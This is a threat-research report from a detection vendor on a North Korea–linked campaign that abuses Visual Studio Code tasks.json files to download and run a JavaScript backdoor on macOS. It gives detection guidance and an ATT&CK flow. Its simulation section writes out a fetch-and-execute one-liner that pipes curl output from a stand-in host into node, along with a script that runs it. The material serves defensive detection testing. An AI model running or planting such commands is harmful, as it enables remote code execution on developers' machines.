SOC Prime Bias: Critical

22 Jan 2026 17:57

How Threat Actors Are Weaponizing Microsoft Visual Studio Code

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
How Threat Actors Are Weaponizing Microsoft Visual Studio Code
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report outlines a North Korea–linked operation that weaponizes Visual Studio Code task configuration files to trigger execution of a malicious JavaScript payload on macOS. The payload is launched via a nohup-initiated Bash command that retrieves a script from a Vercel host and executes it with Node.js. Once running, the backdoor collects host information, establishes contact with a command-and-control (C2) server, and supports remote tasking by executing arbitrary attacker-supplied JavaScript.

Investigation

Jamf Threat Labs observed the chain beginning when a victim clones a tainted Git repository and opens it in Visual Studio Code. VS Code then processes the repository’s tasks.json, which contains a command designed to quietly download and run the JavaScript backdoor. The implant performs periodic beaconing to a remote server, pulls follow-on instructions, and includes a self-termination capability to reduce exposure when directed by the operator.

Mitigation

Enforce hardened VS Code governance by disabling or tightly restricting automatic execution of tasks.json content and limiting Node.js execution to approved workflows. Use endpoint controls to detect and block suspicious shell activity (notably nohup-style background execution and curl-retrieval patterns) and to prevent connections to known malicious domains. Require repository vetting and controlled “trust” decisions for third-party codebases before opening them in developer environments.

Response

Alert on the characteristic nohup Bash pattern that pipes curl output directly into node, and monitor for network traffic involving vercel.app and ipify.org. Hunt across endpoints for the associated JavaScript backdoor and related VS Code task artifacts. If indicators are present, isolate affected hosts, preserve relevant forensic data (repository contents, tasks.json, shell history, process/network telemetry), and block the identified infrastructure to disrupt command-and-control.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef builtin fill:#cccccc %% Node definitions initial_access_user_execution[“<b>Initial Access</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Victim clones malicious Git repository and opens it in Visual Studio Code, triggering processing of the tasks.json file.”] class initial_access_user_execution action tool_git[“<b>Tool</b> – <b>Name</b>: Git<br/><b>Description</b>: Version control system used to clone the repository”] class tool_git builtin tool_vscode[“<b>Tool</b> – <b>Name</b>: Visual Studio Code<br/><b>Description</b>: Integrated development environment that loads tasks.json configurations”] class tool_vscode builtin execution_proxy_execution[“<b>Execution</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b><br/>tasks.json runs <code>nohup bash -c \”curl -s <URL> | node\”</code> to download and execute a JavaScript payload via Node.js.”] class execution_proxy_execution action tool_nodejs[“<b>Tool</b> – <b>Name</b>: Node.js<br/><b>Description</b>: JavaScript runtime used to execute the downloaded payload”] class tool_nodejs builtin persistence_ide_extension[“<b>Persistence</b> – <b>T1176.002 IDE Extensions</b><br/>Malicious tasks.json configuration persists across repository openings, providing a recurring execution vector.”] class persistence_ide_extension action download_rats[“<b>Download</b> – <b>T1219 Remote Access Tools</b><br/>JavaScript payload hosted on a Vercel domain is retrieved on the victim machine.”] class download_rats action discovery_system_info[“<b>Discovery</b> – <b>T1082 System Information Discovery</b><br/>Collects hostname, operating system version and other host attributes.”] class discovery_system_info action discovery_network_config[“<b>Discovery</b> – <b>T1016 System Network Configuration Discovery</b><br/>Enumerates MAC addresses, IP configuration and queries ipify.org for the public IP address.”] class discovery_network_config action c2_web_service[“<b>Command and Control</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/>HTTPS polling every five seconds to a remote server for commands.”] class c2_web_service action c2_app_layer[“<b>Command and Control</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Uses HTTP and HTTPS protocols for C2 communications.”] class c2_app_layer action remote_execution_rats[“<b>Remote Execution</b> – <b>T1219 Remote Access Tools</b><br/>Enables execution of attacker‑supplied JavaScript code on the infected host.”] class remote_execution_rats action %% Connections showing flow initial_access_user_execution –>|uses| tool_git initial_access_user_execution –>|uses| tool_vscode initial_access_user_execution –>|leads to| execution_proxy_execution execution_proxy_execution –>|uses| tool_nodejs execution_proxy_execution –>|triggers| download_rats download_rats –>|enables| persistence_ide_extension download_rats –>|provides| remote_execution_rats remote_execution_rats –>|collects| discovery_system_info remote_execution_rats –>|collects| discovery_network_config remote_execution_rats –>|communicates with| c2_web_service c2_web_service –>|uses| c2_app_layer

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:
    An adversary linked to a DPRK‑associated threat group has obtained a malicious JavaScript payload hosted on a compromised web server. To avoid writing files to disk and to blend with normal administrative scripting, they launch the payload in a detached background session:

    1. Start a detached shell using nohup so the process survives session termination.
    2. Within the shell, invoke bash -c to execute a one‑liner.
    3. Use curl -s to silently retrieve the JavaScript from http://malicious.example/payload.js.
    4. Pipe the output directly to node, causing immediate execution in memory.

    The exact command line (captured by auditd) is:

    nohup bash -c "curl -s http://malicious.example/payload.js | node" &

    This matches every selector in the Sigma rule, thus generating an alert.

  • Regression Test Script:

    #!/bin/bash
    #
    # Simulate DPRK‑linked infection chain: download & execute JS via Node.js
    # --------------------------------------------------------------
    # Preconditions:
    #   - curl, node, and nohup must be installed.
    #   - The endpoint http://malicious.example/payload.js must be reachable.
    #   - Running as a non‑root user to mimic typical attacker behavior.
    #
    # Execution:
    nohup bash -c "curl -s http://malicious.example/payload.js | node" >/dev/null 2>&1 &
    echo "Malicious chain started (PID $!)"

    Save the script as simulate_dprk_chain.sh, make it executable (chmod +x simulate_dprk_chain.sh), and run it.

  • Cleanup Commands:

    # Kill any stray node processes started by the test
    pkill -f "node"   # careful on production; refine with grep for payload.js if needed
    
    # Remove any temporary files that might have been created by the payload
    rm -f /tmp/*payload* 2>/dev/null
    
    echo "Cleanup complete."